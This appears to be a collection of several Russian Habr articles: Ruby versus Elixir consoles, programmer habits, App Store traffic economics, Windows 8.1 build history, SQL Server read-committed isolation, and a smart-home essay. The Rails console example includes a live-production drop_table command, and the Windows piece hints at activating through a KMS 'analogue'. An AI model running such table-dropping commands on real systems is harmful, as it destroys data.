query = from Catalog.ResidentialComplex, where: [id: ^prev_complex_id]
changeset.repo.update_all(query, inc: [houses_count: -1])
end
query = from Catalog.ResidentialComplex, where: [id: ^complex_id]
changeset.repo.update_all(query, inc: [houses_count: 1])
end
changeset
end
```
What?!
### Консоль
Ruby нам предоставляет irb, Elixir соответственно iex. И это был мой топ-1 в листе шока от использования. Давайте посмотрим. Запускаем консоль.
rails c
```
> OnlineTracking.find(409).update(active: false)
=> true
> ActiveRecord::Migration.drop_table(:experts_groups)
=> true
> OnlineTracking.last
> OnlineTracking.startup.user.name
```
iex -S mix
```
> Repo.get(ResidentialComplex, 1) |> Ecto.Changeset.change(houses_count: 0) |> Repo.update()
** (UndefinedFunctionError) function Repo.get/2 is undefined (module Repo is not available)
Repo.get(ResidentialComplex, 1)
> alias App.Repo
App.Repo
> Repo.get(ResidentialComplex, 1) |> Ecto.Changeset.change(houses_count: 0) |> Repo.update()
** (Protocol.UndefinedError) protocol Ecto.Queryable not implemented for ResidentialComplex, the given module does not exist.
This protocol is implemented for: Atom, BitString, Ecto.Query, Ecto.SubQuery, Tuple
> alias App.Catalog.ResidentialComplex
App.Catalog.ResidentialComplex
> Repo.get(ResidentialComplex, 1) |> Ecto.Changeset.change(houses_count: 0) |> Repo.update()
{:ok, %App.Catalog.ResidentialComplex}
> ResidentialComplex |> last() |> Repo.one()
```
А ведь я пытаюсь сделать элементарные вещи: обновить одно поле, получить одну запись.
Как с этим жить? Принять на веру:
Rails консоль говорит тебе: да, делай что хочешь.
Хочешь таблицу на живую из консоли удалить? Пожалуйста.
Хочешь пользователю возраст на проде поменять из консоли? Чего бы и нет, один update.
IEX говорит тебе: чти заповеди! Пока не выучишь, лучше не приходи.
Заповеди:
* Кто ты, что тебе нужно? Я ничего о тебе не знаю. Любые модули, которые хочешь использовать, нужно позвать (через alias, import). Либо можно в корне проекта создать файл .iex.exs и там все часто используемые модули позвать заранее.
* В базу ведут несколько ворот. Открывай те, которые нужны — используй модули (Repo, Query, Changeset).
* Мы не дёргаем товарищей без нужды. Нельзя обратиться к ассоциации просто так. Сначала её нужно подгрузить через preload().
* Смотри внимательно, что пишешь. По описанию ошибки бывает сложно понять, что ты опечатался.
* RTFM.
### Ошибки
Давайте посмотрим описания ошибок на примерах. Первый пример простой, второй со звёздочкой.
```
> alias App.Catalog.ResidentailComplex
App.Catalog.ResidentailComplex
> Repo.get(ResidentialComplex, 1)
** (Protocol.UndefinedError) protocol Ecto.Queryable not implemented for ResidentialComplex, the given module does not exist.
This protocol is implemented for: Atom, BitString, Ecto.Query, Ecto.SubQuery, Tuple
defmodule AppWeb.Catalog.ResidentialComplexView do
def render("show.json", residential_complex: complex) do
render_one(complex, ResidentialComplexView, "residential_complex.json")
end
Request: GET /api/complexes/2
** (exit) an exception was raised:
** (Phoenix.Template.UndefinedError) Could not render "show.json" for AppWeb.Catalog.ResidentialComplexView,
please define a matching clause for render/2 or define a template at "lib/app_web/templates/catalog/residential_complex".
No templates were compiled for this module.
```
В первом примере я позвала модуль, но ошиблась в названии. Буквы перепутала местами. А в запросе правильно написала, но получила ошибку — не знаем такого модуля.
Во втором примере кусок кода показывает описание вьюхи. Для того, чтобы отрендерить страницу, контроллер пойдёт через вьюху искать нужный шаблон. Во вьюхе мы подставляем данные. Можно эти данные подрезать или как-то по-другому пересобрать. По мне, очень удобно. Вот я вижу ошибку. Что там написано? Что никак нельзя отрендерить json, потому что внутри вьюхи моей нет подходящей функции render. Но она же есть. Вы же её тоже видите? Вьюха называется правильно, json называется правильно. Я в своё время голову себе сломала, пытаясь понять, что не так.
Brain, is the compiler our friend?Предлагаю рубистам и любителям эликсира найти ошибку. Если никто не найдёт, позже сама в комментариях напишу.
Послесловие
-----------
> The **devil** is in the **details**.
>
>
Переходя с одного языка на другой, можно побывать на всех стадиях принятия. Тезисы типа “Легче ли рубистам переходить, чем всем остальным” и “Лучше ли эликсир, чем руби” на мой взгляд не имеют смысла. Меня при переходе первое время многое раздражало. Прошло какое-то время, и вещи, которые казались избыточными, стали выглядеть правильными и красивыми. А какие-то штуки, которых не хватает, перестали быть проблемой.
Руби все ещё хорош и продолжает развиваться. Благодаря сильным командам на все ваши потребности найдутся подходящие либы. И даже на все косяки из коробки есть заплатки из коробки или даже какие-то альтернативы. К этому привыкаешь.
Эликсир хорош и развивается. Отсутствие нужных библиотек постепенно закрывается. В коде вещи делаются явно, а значит, возникает прозрачность. Есть всякие классные штуки из коробки, которые позволяют не тащить ничего дополнительного в проект ради background jobs, например. Документация красивая. И к этому тоже привыкаешь.
Мне бы хотелось донести две основные мысли.
**При изучении нового языка желательно смотреть на него максимально чистым взглядом.**
Отбросить свои знания других языков, особенно если наблюдаются какие-то синтаксические сходства. Это сложно. Но, в основном, психологически. Мой первоначальный план перехода преобразовался бы в такой:
```
Ruby
|> forget_OOP
|> undestand_functional_programming
|> use_TDD
|> be_ready_and_patient
|> RTFM
|> practice
|> practice
Oh! Elixir
```
**Получив опыт на другом языке, появляется возможность пересмотреть то, как пишешь код на своём основном.**
Покажу утрированный пример с Codewars. Все примеры кода написаны на руби.
Второй по красоте из рейтинга
```
def human_years_cat_years_dog_years(human_years)
cat_year = 15
dog_year = 15
if human_years == 1
human_cat_dog = [human_years, cat_year, dog_year]
end
if human_years == 2
cat_year += 9
dog_year += 9
human_cat_dog = [human_years, cat_year, dog_year]
end
if human_years > 2
cat_year += 9 + 4 * (human_years - 2)
dog_year += 9 + 5 * (human_years - 2)
human_cat_dog = [human_years, cat_year, dog_year]
end
human_cat_dog
end
```
Мой вариант
```
def human_years_cat_years_dog_years(human_years)
[human_years, cat_years(human_years), dog_years(human_years)]
end
def dog_years(years)
case years
when 1
15
when 2
24
else
24 + (years - 2) * 5
end
end
def cat_years(years)
case years
when 1
15
when 2
24
else
24 + (years - 2) * 4
end
end
```
Хм, а так ли обязательно накапливать результаты в переменных?
Первый по красоте вариант из рейтинга
```
def human_years_cat_years_dog_years(human_years)
cat_years=(human_years>=2)? 24+(human_years-2)*4:15
dog_years=(human_years>=2)? 24+(human_years-2)*5:15
return [human_years,cat_years,dog_years]
end
```
Это не значит, что нужно писать на руби в “функциональном стиле”. Но возможность задуматься, как именно вы делаете то, что делаете — всегда с вами.
Справедливости ради, после некоторого времени программирования на эликсире, пример с поиском високосного года стоит переписать вот так:
Elixir
```
defmodule Year do
def leap?(year) when rem(year, 400) == 0, do: true
def leap?(year) when rem(year, 100) == 0, do: false
def leap?(year) when rem(year, 4) == 0, do: true
def leap?(_year), do: false
end
```
Совсем другая выразительность.
Спасибо за внимание. | https://habr.com/ru/post/650835/ | null | ru | null |
# 6 полезных привычек, которые, что удивительно, есть лишь у немногих программистов
Если поразмышлять о том, какие качества характерны для того, кого можно назвать «хорошим программистом», то на ум тут же придут некоторые привычки. Такие привычки, которые, с чем согласится большинство разработчиков, иметь весьма полезно. Но, на самом деле, большинство таких разработчиков сами подобных привычек не имеют.
Как все мы знаем, привычки определяют нашу жизнь. Тому, кто хочет вырасти над собой в сфере программирования, нужно попытаться сформировать у себя соответствующие привычки.
[](https://habr.com/ru/company/ruvds/blog/503638/)
Предлагаю поговорить о шести привычках, которые стоит постараться сформировать у себя тому, кто хочет выделяться из серой толпы.
1. Наводите порядок в коде, с которым работаете
-----------------------------------------------
Любому программисту полезно сформировать у себя привычку улучшать код, который ему когда-либо приходится менять. При этом неважно, идёт ли речь об исправлении единственной строки кода, или о добавлении в существующий проект целой новой подсистемы.
Роберт Мартин высказал одну ценную идею по этому поводу. Он называет это «правилом бойскаута». Звучит это так: «Всегда оставляйте код, который вы редактируете, в более чистом состоянии, чем он был до вас».
Вы будете поражены тем, как много всяких мелочей вы можете улучшить, когда просто читаете какой-то код. Изменения, которые вы вносите в код, могут быть весьма незначительными — вроде переименования переменной или функции. Просто старайтесь всегда, когда это возможно, улучшить хоть что-то. В результате код после вас будет выглядеть лучше, в нём будет меньше явных проблем.
Эту привычку крайне полезно иметь из-за того, что она означает постоянное обучение. То, что мы считали хорошим вчера, уже сегодня можно улучшить, переделав это каким-то новым, более удачным, способом. Со временем код имеет свойство «портиться», поэтому забота о коде чрезвычайно важна для сохранения его в таком состоянии, в котором его удобно поддерживать.
2. Заботьтесь о тех, кто будет работать с вашим кодом после вас
---------------------------------------------------------------
Когда бы вы ни писали фрагмент кода, вам следует думать о том, что увидит кто-то другой, взглянувший на этот код.
Пишите код, настроившись на то, чтобы он получился бы читабельным, чтобы его было бы легко понять. Соотношение времени, которое уходит на чтение и на создание кода — это значительно больше, чем 10 к 1. Это значит, что вы, в долгосрочной перспективе, можете сэкономить массу человеко-часов, просто прилагая больше усилий к тому, чтобы писать читабельный код.
Программируя, не стремитесь ко всяческим «выкрутасам». Пишите простой код, который будет понятен любому, кто станет его читать. Согласитесь, обычно нет реальной необходимости пользоваться таинственными однострочниками, скопированными со Stack Overflow, которые вы и сами толком не понимаете.
3. Делайте то, что нужно, но не более того
------------------------------------------
У разработчиков встречается своеобразная привычка к ненужному усложнению и расширению того, чем они занимаются. Большинство разработчиков, сталкиваясь с задачей по реализации некоей возможности, сделают, «на всякий случай», что-то сверх того, что должны.
Это то, что называют «оверинжинирингом» — «искусством перебарщивания». Код делают более надёжным или более сложным, чем нужно. Оверинжиниринг — это то, у стремления к чему нет ни одной веской причины.
Чаще всего в основе причин, по которым разработчики создают более сложные программы, чем требуется, лежат догадки. Например, разработчик может добавить в проект код, который, возможно, может оказаться полезным в будущем. Делается это только на основании предположений данного разработчика. Этот дополнительный код попадает в кодовую базу проекта, но он, вполне возможно, так никогда никому и не пригодится.
Оверинжиниринг может привести к появлению кода, который спроектирован в настолько общем виде, что в нём будут потеряны признаки основной задачи, для выполнения которой он был изначально предназначен. В результате таким кодом не только будет сложно пользоваться. Такой код будет ещё и очень непонятным.
4. Планируйте работу над кодом
------------------------------
Настоящие программисты любят заниматься одним и только одним делом: программированием. Вас не должно это удивлять. Учитывая это, очевидно то, что большинство программистов, когда им дают задание, тут же принимаются за своё любимое дело. Они сразу же начинают писать код.
Поначалу идея уйти в код с головой может показаться восхитительной. Но за это «восхищение», вполне возможно, придётся платить временем. Когда программист, без раздумий, бросается писать код, он, в итоге, перестаёт видеть общую картину.
Прежде чем начинать писать программу, нужно всё спланировать и организовать. Стоит подумать о сложностях, которые могут встретиться на пути, и о том, как их решать. Полезно поразмыслить о структурировании кода, о том, почему планируется реализовать ту или иную возможность проекта.
Всё это — отличные вопросы, которыми стоит задаться до начала работы над кодом. Эти вопросы дадут вам возможность осознать то, что перед тем, как писать код, можно и нужно о многом поразмыслить.
5. Документируйте свои проекты
------------------------------
Знаю — документирование кода — не самая привлекательная привычка в этом списке. Но это — очень и очень хорошая привычка. Писать документацию — это очень важно.
Попадался ли вам когда-нибудь репозиторий, в котором нет никаких сведений о том, как всё правильно настроить, или о том, как должно работать приложение, находящееся в этом репозитории?
После того, как вы проведёте пару часов, читая код, хранящийся в таком репозитории, велика вероятность того, что вы ни в чём так и не разберётесь. Вот тогда-то вы и ощутите ценность документации.
Абсолютный минимум документации, которым я порекомендовал бы оснащать любой проект, это адекватный файл `readme.md`, в котором рассказывается о том, для чего предназначен этот проект, и о том, как его правильно настроить и запустить.
В сфере документирования программных проектов есть одно замечательное явление. Оно заключается в возможности документирования кода в процессе его написания. Дайте себе некоторое время на то, чтобы придумать описательные имена переменных. Это себя окупит. Выбор хороших имён для переменных, методов и классов требует времени. Но хорошие имена позволят сэкономить больше времени, чем нужно на их выдумывание.
Если вас интересует вопрос подбора осмысленных имён для различных сущностей — взгляните на [этот](https://medium.com/better-programming/how-to-create-meaningful-names-in-code-20d7476537d4) материал.
6. Никогда не прекращайте учиться
---------------------------------
Айзек Азимов сказал: «День, когда вы перестанете учиться, это день, когда вы начнёте деградировать». Эти слова особенно справедливы для мира компьютерных технологий, в котором всё меняется очень быстро.
Невозможно поспеть за всем, что меняется, и даже если кто-то на такое способен, я не советовал бы к этому стремиться. Не стоит доводить подобное стремление до крайности, но полезно время от времени осваивать новый фреймворк или язык программирования.
Это не значит, что необходимо становиться экспертом во всех таких фреймворках или языках. Полезно экспериментировать с чем-то новым для того чтобы узнать, нравится ли это вам.
Изучая новое, программист видит, как различные задачи решаются с помощью инструментов, о которых он раньше не знал. Это помогает ему профессионально расти.
Итоги
-----
Тот, кто стремится к тому, чтобы стать выдающимся программистом, может идти к этой цели, развивая у себя множество различных привычек. Мы здесь разобрали шесть привычек, которых нет у большинства разработчиков.
Вот приведённые здесь советы, касающиеся формирования полезных программистских привычек:
* Наводите порядок в коде, с которым работаете.
* Заботьтесь о тех, кто будет работать с вашим кодом после вас.
* Делайте то, что нужно, но не более того.
* Планируйте работу над кодом.
* Документируйте свои проекты.
* Никогда не прекращайте учиться.
Постарайтесь развить у себя эти привычки. Не спешите, развивайте их у себя постепенно, по одной. Помните о том, что за один день вам ими не обзавестись. Для того чтобы развить привычки, нужно время и постоянство.
**Какие привычки хороших программистов вы добавили бы к тем, о которых шла речь в этой статье?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=6-poleznyh-privychek#order) | https://habr.com/ru/post/503638/ | null | ru | null |
# Почем нынче на рынке яблочки?
Яблочный рынок приложений, или *Apple App Store*, потребляет и порождает деньги. Чем больше Вы вкладываете денег, тем выше отдача. Однако, заработанное не всегда больше потраченного. С недавних пор в моей голове вдруг сформировался типичный график потраченных/полученных средств.
Зеленая прямая — график потраченных денег. На что потраченных? На покупку *траффика*. В результате Ваше приложение выходит в *ТОП100, ТОП25* или (ого!!) *ТОП10 США* и начинает приносить деньги. Красная линия — это заработанное. Если заработанное больше потраченного, то красная линия на графике выше зеленой и Вы отдыхаете на Гавайях, пересыпая между ладоней белый песок *Вайкики*.
> -Чему равна точка Ж?,- спросит сообразительный читатель.
В 2011 году она равнялась 5000 долларов, этого хватало войти в *ТОП10*. Приложение приносило не менее 1000 долларов в день. Те времена ушли. Теперь в 2014 году надо потратить 50000 долларов, приложения из *ТОП10* зарабатывают в день не менее 10000 долларов в день.
Хочу заметить, что речь идет об успешных приложениях, которые после искусственного прыжка в *ТОП*, сами начинают поднимать свой рейтинг и держаться на гребне успеха не менее 5 дней. Математически красную параболу можно характеризовать показателем степени. Если показатель степени больше 1 — это круто, Вы и Ваше приложение — молодцы. Если меньше-равно 1 — получаем голубой график и дырку от бублика. То есть, сколько денег не вкладывай — дерево не вырастет.
Как же определить показатель степени для Вашего приложения? Для этого не надо тратить 50000 долларов.
Ловко я Вас заманил под *кат*?
#### Коэффициент успеха Вашего приложения
Напоминаю, если показатель больше 1 — то можно рисковать деньгами. Желательно не своими, конечно. Найти богатого дядю и трясти его, размахивая показателем.
Для определения успеха я использую следующую формулу.
* Выпускаем бесплатное приложение;
* Встраиваем в приложение рекламу adMob;
* Встраиваем в приложение одну покупку в 1 доллар;
* Набираем обзорами, рассылкой 10000 загрузок приложения;
* Через месяц подсчитываем заработок от рекламы и покупок.
**Если прибыль от рекламы более $5 в день, и совершенно более 1% покупок (то есть порядка 100) — значит, коэффициент успеха больше 1.**
#### Заключение. Как набрать 10000 загрузок?
Расскажу. И напишу.
Напишу статью об эффективности обзоров. Обзоры выпускал на трех отечественных ресурсах и двух *буржуинских*.
За три недели набрал 9000 загрузок — значит, через неделю я буду знать коэффициент успеха приложения.
Месяц заканчивается 4 июня. Думаю всем, кто дочитал до этих слов, будет интересно посмотреть на реальные цифры.
Затем, соберу со всех *хабра-ботов* по 10 долларов, вложу в *траффик* — на заработанное покупаю 5000 качественных футболок с надписью
```
#include "ботаник.h"
```
Но это лишь в случае коэффициента >1. | https://habr.com/ru/post/224451/ | null | ru | null |
# Всё о версиях Windows 8.1 и о том, как легально загрузить последний образ без подписки
Хочу поделиться в одной заметке важной, на мой взгляд, информацией о версионности образов Windows 8.1, и о том, как любой желающий может совершенно легально загрузить ту языковую версию и издание, которые ему требуется. С учётом того, что после выхода Windows 8.1 образы пересобирались минимум пять раз, вопрос версионности становится интересным для администраторов и энтузиастов.
Недавно я писал о том, как можно совершенно легально загрузить самый последний Microsoft Office с сайта Microsoft — как [корпоративную версию](http://habrahabr.ru/company/stars_s/blog/245295/), так и [коробочную Retail](http://habrahabr.ru/company/stars_s/blog/245677/) — любые языки и продукты, со всеми интегрированными обновлениями. Сегодня я расскажу, как сделать то же самое и с операционной системой — средствами предоставляемыми самой Microsoft.
Но для начала я хочу рассказать о версиях Windows 8.1. Не об изданиях — этого добра в сети много, а именно о публичных версиях сборок ОС. Ведь для любого администратора удобно загрузить образ со всеми интегрированными обновлениями, чем устанавливать сотню самостоятельно. Причём загрузить образ с сайта Microsoft, а не самодельную сборку с торрентов. Всё что я буду рассказывать о версиях ОС Windows 8.1 применимо и к Windows Server 2012 R2, за исключением канала для бесплатной загрузки образов для переустановки ОС. Но давайте всё по порядку.
Финальная сборка Windows 8.1 (и Windows Server 2012 R2) за номером **9600.16384**.WINBLUE\_RTM.130821-1623 была собрана и подписана 21 августа 2013 и уже 27 августа стала доступна для партнеров, а с 9 сентбря и подписчиков MSDN/TechNet. Метка дисков в образах RTM версии начинается с букв **IRM**.
27 октября 2013 года Windows 8.1 стала общедоступной — в магазине приложений Windows Store, на MSDN/TechNet и сайте для корпоративных подписчиков. Версия ОС в корпоративных VL образах **9600.16415**.WINBLUE\_REFRESH.130928-2229 включает в себя обновление, именуемое [Windows 8.1 and Windows Server 2012 R2 General Availability Update Rollup](http://support.microsoft.com/kb/2883200). Метка дисков в образах GA версии начинается с букв **IR1**. В Интернет эту сборку часто называют Rollup Update 1 (RU1), и реже более правильно R1. Retail образы публично не выкладывались, но были доступны через Windows Store в формате ESD. Полный список включённых обновлений выглядит так:
```
KB2883200, KB2894029, KB2894179
```
В ноябре 2013 выходит ежемесячное кумулятивное обновление [Windows RT 8.1, Windows 8.1, and Windows Server 2012 R2 update rollup: November 2013](http://support.microsoft.com/kb/2887595), и неожиданно для всех обновляются корпоративные версии образов с Windows Server 2012 R2. Retail версии серверной ОС и любые версии клиентских ОС интегрированного обновления не получили. Сборка за номером **9600.16422**.WINBLUE\_GDR.131006-1505 известна в Интернете как Rollup Update 2 (RU2) и реже как R2. Метка дисков в образах этой версии начинается с букв **IR2**. Напомню, что официально доступны лишь VL сборки серверной ОС с данным обновлением. Полный список включённых обновлений выглядит так:
```
KB2862152, KB2868626, KB2876331, KB2883200, KB2884101, KB2884846, KB2887595, KB2888505, KB2894029, KB2894179, KB2898514, KB2900986, KB2901101, KB2906956, KB2908174
```
8 апреля 2014 года выходит [Windows RT 8.1, Windows 8.1, and Windows Server 2012 R2 update: April 2014](http://support.microsoft.com/kb/2919355) , — обновление призванное принести популярность Windows 8.x на компьютерах без сенсорного экрана. Версия ОС — **9600.17031**.WINBLUE\_GDR.140221-1952. В Интернет сборка известна как «Update 1», «Spring Update» и «U1», совсем редко как «R3». Метка дисков в образах этой версии начинается с букв **IR3**. В данной версии помимо основного KB2919355 входят еще несколько обновлений. Полный список выглядит так:
```
KB2919355, KB2919442, KB2932046, KB2937220, KB2937592, KB2938439, KB2938772, KB2939471, KB2949621
```
С данной сборки в семействе Windows 8.1 появилось издания с BING (известные как Core Connected — бесплатные для OEM производителей, которые не имеют права изменять настройки поиска и браузера по умолчанию по условиям соглашения. Пользователь, естественно, может всё менять) и недорогая версия Professional Student (известная как Pro for Education) для образовательных учреждений — с полным функционалом профессиональной версии.
В августе 2014 в Windows Store тихо появляются обновлённые ESD образы с версией **9600.17053**.WINBLUE\_REFRESH.140923-1144. На MSDN/TechNet их не появляется, и об их существовании знают лишь те, кто уже знакомы с форматом распространения ESD (о чём я еще буду говорить ниже). Метка дисков в образах этой версии начинается с букв **IR4**. Начиная с этой сборки в ОС входит менеджер блокировки Embedded Lockdown Manager, ранее доступный лишь в Windows Embedded. Кстати, если обновлять ранее установленную ОС через Windows Update, он не появится. Полный список включённых обновлений выглядит так:
```
KB2919355, KB2920189, KB2931358, KB2931366, KB2932046, KB2934018
KB2937220, KB2937592, KB2938439, KB2938772, KB2939153, KB2939576
KB2949621, KB2950153, KB2954879, KB2955164, KB2956575, KB2958262
KB2958263, KB2959626, KB2961072, KB2962140, KB2962872, KB2964718
KB2965142, KB2966407, KB2966870, KB2967162, KB2968599, KB2969817
KB2971203, KB2971850, KB2972280, KB2973201, KB2974008, KB2975061
KB2975719, KB2976978, KB2979582, KB2980654, KB2990532, KB2993651
Embedded Lockdown Manager KB2959936
```
15 декабря 2014 на подписках MSDN/TechNet и на сайте загрузок для корпоративных подписчиков появляется версия **9600.17483**.WINBLUE\_R5.141106-1500 с интегрированным обновлением [November 2014 update rollup for Windows RT 8.1, Windows 8.1, and Windows Server 2012 R2](http://support.microsoft.com/kb/3000850). Версию в Интернет называют Rollup Update 3 (RU3), хотя более правильно называть её R5, как видно из названия ветви сборки WINBLUE\_R5. Метка дисков в образах этой версии начинается с букв **IR5**. Полный список включённых обновлений выглядит так:
```
KB2932046, KB2934018, KB2937220, KB2937592, KB2938439, KB2938772
KB2939153, KB2949621, KB2954879, KB2958262, KB2958263, KB2961072
KB2962140, KB2965142, KB2965500, KB2966407, KB2967917, KB2968599
KB2971203, KB2973351, KB2976627, KB2976978, KB2977629, KB2978002
KB2978742, KB2981580, KB2987107, KB2989647, KB2998527, KB3001237
KB3003057, KB3014442, Embedded Lockdown Manager KB2959936
```
Суммируя вышеизложенное по версиям ОС Windows 8.1 и Windows Server 2012 R2 — на настоящий момент публично доступные образы собирались уже шесть раз. Наиболее свежие доступны для подписчиков и содержат все обновления, входящие в ноябрьское кумулятивное обновление ОС. Для тех у кого нет подписок более интересно продолжение статьи, где я расскажу, что вы легально можете загрузить последнюю версию ОС с сайта Microsoft без всяких подписок. Ну или почти последнюю версию — на момент написания для бесплатной загрузки доступны версии R4, но я уверен, что не за горами публичная доступность версий R5, которые уже выложены на MSDN/TechNet.
##### **Как же загрузить Windows 8.1 с сайта Microsoft без всяких подписок?**
С выходом Windows 8.1 в Microsoft, видимо, изменился взгляд на непогрешимость своих ОС. Теперь корпорация понимает, что пользователям *иногда* требуется ОС переустанавливать. А как переустановить ОС на ПК или ноутбуке с предустановленной системой, если никакого диска не прилагалось, да и динозавр DVD уже вымер в современных ноутбуках (и серверах)? Microsoft теперь предлагает воспользоваться инструментом по [созданию установочного носителя для Windows 8.1](http://windows.microsoft.com/ru-ru/windows-8/create-reset-refresh-media). Можно скачать утилиту [Media Creation Tool](http://web.esd.microsoft.com/W9TPE/0ABA00DD20413FB6425A0D45222C562B/E/mediacreationtool.exe) (прямая ссылка действует на момент написания статьи. Если в скором будущем утилита обновится, то её можно загрузить со страницы по предыдущей ссылке). Запустив утилиту на клиентском компьютере с доступом к Интернет (на моей серверной ОС утилита не работает, но на Windows 7/8/8.1/10 отлично выполняется) можно выбрать желаемое издание ОС, язык и разрядность, и, в зависимости от скорости вашего соединения с Интернет и быстротой жесткого диска, через 10-15 минут получить желаемый образ со свежей версией Windows 8.1 с интегрированными обновлениями.
При выборе русской версии доступны Windows 8.1, Windows 8.1 Professional и Windows 8.1 Single Language (версия «для одного языка», которую любят предустанавливать на недорогие ноутбуки OEM производители). Для английского языка доступны также Windows 8.1 N и Windows 8.1 Professional N — без медиаплеера, версии для Евросоюза. На них отлично устанавливается русский языковой пакет, — если вам требуется русская версия без медиа проигрывателя Microsoft.
Полный список всех скачиваемых образов (в формате ESD) можно увидеть самостоятельно [по ссылке на сайт Windows Store](https://wscont.apps.microsoft.com/winstore/OSUpgradeNotification/products.xml).
Возможно сразу же создать загрузочную флешку, или же загрузить ISO образ с ОС.
Процесс загрузки занял у меня порядка 10 минут на WiFi подключении, проверка образа ещё около пяти минут на моём SSD диске.
К сожалению, полученный образ не будет иметь корректной метки диска, и она будет называться ESD-ISO вне зависимости от сборки. Однако, установив ОС, вы поймете, что имеете достаточно актуальную версию, просто проверив обновления. Как я уже говорил, в настоящий момент через Media Creation Tool загружаются R4 сборки с обновлениями на август 2014. Ожидаю, что вскоре утилита станет загружать уже R5 образы.
Кстати, только в таком формате доступна ARM версия Windows RT 8.1 с обновлениями. ESD образ можно [загрузить напрямую с серверов Microsoft](http://vg.dl.ws.microsoft.com/dl/content/d/updt/2014/10/9600.17053.winblue_refresh.140923-1144_woafre_client_corearm_o15_en-us-ir4_ccsa_woafrer_en-us_esd_a2910b60945846a1e7b5d0de4acc32e219469fb4.esd), сконвертировать в ISO при помощи утилиты ESDtoISO, интегрировать драйверы для вашего Windows RT планшета, чтобы иметь возможность сделать чистую установку. Внимание, для Surface RT и Surface 2 более правильно будет [загрузить готовый образ восстановления с сайта Microsoft](https://www.microsoft.com/surface/en-us/support/warranty-service-and-recovery/downloadablerecoveryimage).
И ещё, — установив Retail версию Windows 8.1 Professional, вы всегда можете сменить её серийный номер на [клиентский KMS со страниц TechNet](http://technet.microsoft.com/ru-ru/library/jj612867.aspx) и активировать ОС своим корпоративным KMS сервером, или его аналогом. Не загружайте непроверенные образы с торрентов, особенно изменённые энтузиастами образы с «чем-то» интегрированным, — загружайте их из первоисточника! | https://habr.com/ru/post/247247/ | null | ru | null |
# Read Committed Isolation Level
По материалам статьи Craig Freedman: [Read Committed Isolation Level](https://docs.microsoft.com/en-us/archive/blogs/craigfr/read-committed-isolation-level)
SQL Server 2000 поддерживал четыре уровня изоляции транзакций: «read uncommitted» (nolock), «read committed», «repeatable read» и «serializable». В SQL Server 2005 были добавлены два новых уровня изоляции: «read committed snapshot» и «snapshot». Указание уровня изоляции определяет, какие блокировки будут использованы SQL Server при доступе к данным. Следовательно, выбор уровня изоляции фактически определяют степень параллелизма и согласованности, которые станут возможны для операций с данными и транзакций. Все указанные уровни изоляции описаны в [Books Online](https://docs.microsoft.com/ru-ru/sql/t-sql/statements/set-transaction-isolation-level-transact-sql).
В этой статье я рассмотрю используемый по умолчанию уровень изоляции транзакций: read committed. Когда SQL Server выполняет блок операторов с уровнем изоляции read committed, он последовательно накладывает совместную блокировку на записи, которые затрагивает запрос. Продолжительность действия этих блокировок довольно велика, за это время осуществляется чтение и последующие операции с каждой записью выборки. Как правило, сервер снимает блокировку с записи перед тем, как перейти к следующей. Таким образом, если вы выполняете простой оператор «SELECT» с «read committed» и наблюдаете за блокировками (например, с помощью sys.dm\_tran\_locks), вы, как правило, видите блокировку одной записи за каждую итерацию выборки. Цель этих блокировок является гарантия того, что данные не изменятся во время их считывания и возвращения оператором выборки. Нужда в подобных блокировках возникает потому, что изменения данных всегда приобретают эксклюзивную блокировку, которая блокирует любые операции чтения, пытающиеся наложить совместную блокировку.
Теперь давайте предположим, что мы сканируем всю таблицу с уровнем изоляции read committed. Поскольку сканирование блокирует только одну запись за раз, нет ничего, что помешало бы выполняющемуся параллельно обновлению изменять место строки в ключе до или после того, как сканирование достигнет конца. Демонстрация этого казуса показана на следующем рисунке:
Проведём эксперимент, который покажет этот эффект в действии. Для этого эксперимента нам понадобятся два сеанса сервера. Сначала создаём простую таблицу с тремя строками:
```
use tempdb
create table t (a int primary key, b int)
insert t values (1, 1)
insert t values (2, 2)
insert t values (3, 3)
```
Далее, в сеансе 1 заблокируем вторую строку:
```
use tempdb
begin tran
update t set b = 12 where a = 2
```
Теперь в сеансе 2 выполним простое сканирование таблицы:
```
select * from t
```
Это сканирование считает первую строку, а затем заблокируется в ожидании сеанса 1, пока не будет снята блокировка, наложенная на вторую строку. Пока выборка заблокирована, в сеансе 1 мы можем поменять местами первую и третью строки, а затем зафиксировать транзакцию и освободить эксклюзивную блокировку блокирующую сеанс 2:
```
use tempdb
update t set a = 4 where a = 1
update t set a = 0 where a = 3
select * from t
commit tran
```
Вот новое содержимое таблицы, следующее за этими изменениями:
```
a b
----------- -----------
0 3
2 2
4 1
```
Наконец, вот результат сканирования в сеансе 2:
```
a b
----------- -----------
1 1
2 2
4 1
```
Обратите внимание, что в этой выборке первая строка такая, какой она была до изменений, а третья строка со значением после изменений. Фактически, эти два значения относятся к одной и той же строке до и после изменения. Более того, исходные значения третьей строки, которые были (3, 3), вообще не попали в выборку (тут мы могли бы утверждать, что изменение первичного ключа привело к удалению этой строки и созданию новой, но мы можем получить аналогичный эффект и для некластеризованного индекса).
Наконец, попробуем повторить этот эксперимент, но добавив в таблицу уникальный столбец:
```
use tempdb
create table t (a int primary key, b int, c int unique)
insert t values (1, 1, 1)
insert t values (2, 2, 2)
insert t values (3, 3, 3)
```
Вы получите тот же результат, но в уникальном столбце вы увидите «дубликаты».
Если приведенные выше результаты неприемлемы, вы можете включить для своей базы данных read committed snapshot или вы можете работать на более высоком уровне изоляции (хотя и с меньшим параллелизмом). | https://habr.com/ru/post/662235/ | null | ru | null |
# Программируем умный дом
Многие годы мы [мечтали](https://yewtu.be/watch?v=AqWHldmJjOI) о светлом будущем, когда роботы наконец-то придут в нашу жизнь и начнут кормить нас с ложечки. Мечты сбываются. У нас появилась армия роботов, которые готовы открывать нам двери, включать кофеварки, выходить в интернет с холодильников и смывать за нами в туалетах.
И, как и многое другое в Дивном Новом Мире Большого Брата, практически бесплатно мы получаем термостат с интеллектом кофеварки и кофеварку с интеллектом умственно отсталого муравья. С простецкой ценой в одну смертную душу в виде ваших данных. Всё это пришло вместе с лицензионными соглашениями, которые можно только посылать в филиал ада по соглашениям с Бессмертными Душами, сопроводив запиской: «Учитесь, парни…» (© Терри Праттчет, Нил Гейман — [Благие Знамения](https://wikiless.org/wiki/Good_Omens?lang=en).)
